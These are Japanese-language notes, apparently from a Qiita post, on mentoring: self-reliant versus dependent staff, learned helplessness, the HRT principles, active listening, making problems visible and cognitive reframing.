|自立型人材|問題について、自分ごととして捉えている|

依存型人材と自立型人材の境界線としては、「上司と部下という関係の期待値の差」といえる。
人は与えられたと思っている役割に対して、自分の思考を閉じてしまう習性がある。
また、人は自分の「心地よい」思考範囲や行動範囲から抜け出すことが難しい。

そのため、もともと自立型人材で提案をしていたひとも却下され続ける（負のフィードバックを受け続ける）と、頑張っても無駄なのでがんばらなくなったり（学習性無気力）、もともとは依存型人材だったひとでも自分から動いた結果評価され続ける（正のフィードバックを受け続ける）と、積極的に自ら動くことに心地よさを覚える（自己効力感）ようになる。

メンタリングは、その人に力で問題解決ができるように促していくことで、自立的思考を行うことがコンフォートゾーンになるようにしていく。

メンターとメンティーの関係として、「HRT(Humility, Respect, Trust)」の3つの条件を満たしている
ことが求められる。

メンタリングの優れている点として、気がついたことの応用力が身につくことが挙げられる。
この応用力は、他の人から与えられた知識ではなく自ら獲得したと感じたときに生まれる。

自らの力で得た知識は、他者から与えられた知識よりも効果が持続しやすく行動の変化が発生しやすいためメンタリングではこちらを重視している。

傾聴・可視化・リフレーミング
もやもやした悩みは解けてしまえばなんてことはないが、1人で解決することは難しい。
もやもやした悩み = 答えはわからないし、次に何をするべきかもわからない問題

なので、傾聴や可視化・リフレーミングを通して。
もやもやしていない問題 = 答えはわからないが、次のなにをするべきかは明確にわかっている問題

に変換して自力で解けるようにする。

問題が1人で解けない理由としては、感情的に固執している・客観視できていない・前提を変えないといけないことにわけることができる。

## 傾聴
傾聴「相手の」感情への共感を表現したり・話の内容を「可視化したり」・思考の「盲点」を探索しながら質問する
共感 = 相手がそのような気持ちになった理由を理解すること

## 問題の可視化・明晰化
問題の可視化・明晰化
可視化・明晰化 = 傾聴によって見えてきた、メンティの抱える問題の「形」を客観的な問題へと変換し、
問題 vs 私たち（メンター・メンティー）の構図に持っていく。

可視化していく過程で、問題をより明確にする（感情に関わる部分を削ぎ落とす）

感情に癒着した問題であればあるほど、一般化しがち
例）ビジョンがない・ゴールが見えないなど

いま思い切り仕事に望めない理由は他者にあり、それが成立するまで自分の問題は留保されるという
コンフォートゾーンから抜け出したくなかったり、自分が承認されていないという自己効力感の不足によるものである。

問題の根本となるのは、個人的な問題であるがゆえにメンティの問題を直接解くことはできない。
そのため、かんたんな問題に変換することでメンティに自力でといてもらうように持っていく必要がある。

## 認知フレームとリフレーミング
そもそもひとは、ありのままに物事を認識することはできない。
= ひとは、認知する枠組みをもっていてその枠組の中でしか情報を処理することができない。

発言や感情・優先順位によって認知フレームをかえることができる。
→外部要因によって認知フレームを変える（リフレーミング）ができるので、それにより解けない問題を溶ける問題に
変容することができる。

認知フレームを発見するキーワードは「指示語・極端・べき論・決めつけ」の4要素のうちどれかを有する。

認知フレームを示唆するワードがない場合でも、「前提を問う」ことで直接的にその存在を明らかにすることができる。



---
https://qiita.com/hirokidaichi/items/195d42ee056ea85a3150